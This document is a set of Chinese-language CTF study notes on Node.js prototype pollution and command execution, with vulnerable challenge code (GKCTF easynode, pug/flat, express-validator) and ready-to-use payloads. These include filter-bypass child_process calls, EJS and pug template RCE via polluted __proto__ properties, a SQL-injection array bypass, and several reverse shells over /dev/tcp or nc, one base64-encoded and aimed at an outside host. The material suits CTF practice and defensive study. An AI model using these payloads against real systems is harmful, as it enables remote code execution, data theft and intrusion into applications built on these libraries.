1.prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2.一个对象的proto属性,指向这个对象所在的类的prototype属性
1.每个构造函数(constructor)都有一个原型对象(prototype)
2.对象的proto属性,指向类的原型对象prototype
3.JavaScript使用prototype链实现继承机制
我们思考一下,哪些情况下我们可以设置proto的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
1.对象merge
2.对象clone(其实内核就是将待操作的对象merge到一个空对象中)
JSON解析的情况下,proto会被认为是一个真正的“键名”,而不代表“原型”
【WEB】nodejs原型链污染 | 狼组安全团队公开知识库 (wgpsec.org)
在 js 中每个函数都有一个 prototype 属性,而每个对象中也有一个 proto 属性用来指向实例对象的原型
而每个原型也都有一个 constructor 属性执行相关联的构造函数,我们就是通过构造函数生成实例化的对象
这幅图的原型链是 cat->Cat.protype->Object.prototype->null
(1)例题:
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send("You get flag !");
}else {
res.send("Wrong password!Are you Admin?");
}
}
}); //概括,就是要让Admin[key]=password。
const setFn = require('set-value');
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("OK");
console.dir(req.session.knight.__proto__)
}//这里有一个赋值的操作而且键名键值都可控
}
});
payload:
{
"NewAttributeKey":"__proto__.mypasswd",
"NewAttributeValue":"111"
}
成功往req.session.knight原链中加入mypasswd:111,之后再传key为mypasswd,由于Admin没有这个键,就会往上找,找到111,获得flag。
Nodejs命令执行
1.编码知识
16进制编码:
console.log("a"=="\x61")
unicode编码
console.log("\u0061" === "a");
base64编码
console.log(Buffer.from("dGVzdA==", "base64").toString)
2.命令执行函数
//执行calc
require("child_process").execSync('calc')
require('child_process').exec('calc');
console.log(eval("document.cookie")); //执行cookie
console.log("document.cookie"); //输出cookie
3.命令执行绕过
①编码绕过
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\u0079\u006E\u0063"]('calc')
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKTsg', 'base64').toString()) //eval中执行的内容为require('child_process').exec('calc');
②模板拼接
require("child_process")[`${`${`exe`}cSync`}`]('calc')
③字符拼接
require("child_process")['exe' + 'cSync']('calc')
require("child_process")['exe'.concat('cSync')]('calc')
④换其他函数
调用某个 可执行文件,在第二个参数传args
require("child_process").execFile("/usr/bin/open", ["calc"])
require("child_process").spawn('open', ["calc"])
require("child_process").spawnSync('open', ["calc"])
require("child_process").execFileSync(open, ["calc"])
⑤文件读写
require('fs').writeFileSync('input.txt','sss');
require('fs').writeFile('input.txt','test',(err)+>{})
ctfshow :
1.猜测题目中的代码为eval('xxx')
xxx为我们传入的内容,eval中可以执行js代码,那么就可以执行系统命令了。
方法一:
require('child_process').execSync('ls /').toString()
require('child_process').spawnSync('ls',['/']).stdout.toString()
require('child_process').spawnSync('cat',['f*']).stdout.toString()
方法二:
require('fs').readFileSync('/app/routes/index.js','utf-8')#这个可以读取文件
require('fs').readdirSync('./') //列出当前目录下的文件
require('fs').readFileSync('fl001g.txt','utf-8')
2.过滤exe ,可以用[]代替. 用‘’绕过
payload: %2B为加号
require('child_process')['e'%2b'xecSync']('cat f*').toString()
3.JS弱比较
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
payload:a[x]=1&b[x]=2
a[]=1&b[]=1
a[a]=1&b[a]=2
a[1]=1&b=1
1:解释
a={'':'1'}
b={'':'2'}
const c = [1];
const d = [2];
console.log(a+"flag")
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
[object Object]flag
[object Object]flag
1flag
2flag
2:
a={'a':'1'}
b={'a':'2'}
console.log(a+"flag")
console.log(b+"flag")
//回显
[object Object]flag
[object Object]flag
3:
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
4.api:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip地址/端口 0>&1\"')"}}
在login路由发包,再用post方法访问/api即可反弹shell,flag在login.js里
1.ejs模板引擎RCE
在 EJS(Embedded JavaScript)模板引 擎中,
renderFile()
是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用 。
renderFile()
方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容
利用条件:使用网页使用ejs模板 并且有renderFile()
函数
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
伪造 opts.escapeFunction
也可以进行 RCE
{
"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
}
}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
过滤了__proto__:
{ "constructor": { "prototype": { "client": true, "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /Yupr0m1sing_f1ll4agggXD')" } } }
(1)[GKCTF2021]easynode
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
const decode = (str) =>{
str = str.replace(/\'/g,'\\\'');
return str;
}
let safeQuery = async (username,password)=>{
const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
})
大概看一下,最后我们其实就需要达到 extend 去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE
首先要解决的问题就是如何进行admin登录获取token,可以看到在waf中过滤了一些特殊字符,然后却使用slice()进行了拼接,可以使用数组进行绕过。 比如一下例子:
const waf = (str) => {
blacklist = ['\\', '\^', ')', '(', '\"', '\'']
blacklist.forEach(element => {
if (str == element) {
str = "*";
}
});
return str;
}
const safeStr = (str) => {
for (let i = 0; i < str.length; i++) {
if (waf(str[i]) == "*") {
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username=["admin' or 1 #",1,1,1,1,1,1,1,"("]
u = safeStr(username);
console.log(u)
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
/adminDiv
data={"outputFunctionName":"x;console.log(1);process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84aWYxOTg0NTQ3LnppY3AuZnVuLzQ3ODA1IDA+JjEi|base64 -d|bash');x","name":"123"}
然后访问/admin触发rce反弹shell
2.flat可以原型链污染,pug可以模板rce,直接拿POC打:
pug模板rce
{
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
}
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { hero } = unflatten(req.body);
if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
return res.json({
'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
});
} else {
return res.json({
'response': 'Please provide us with correct name.'
});
}
});
module.exports = router;
给了./api/submit
路由,然后看到pug.compile
稍微修改下payload,需要加上hero,直接使用(这道题反弹shell不成功)
{
"hero.name":"锐雯",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /f* > ./static/1.txt')"
}
}
3.validator
在Node.js中,"validator"是一个常用的数据验证库,用于验证和处理不同类型的数据。它提供了一组方便的函数和方法,用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性。
express-validator中lodash在版本4.17.17以下存在原型链污染漏洞
payload如下
{
"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
let info = []
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]
app.use(middlewares)
readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}
app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})
app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})
app.use(express_static("./"))
app.listen(port, () => {
console.log(`server listening on ${port}`)
})
简单审一下,污染system_open为yes就可以拿flag表单提交个D0g3_Yes!!!
{
"password":"D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}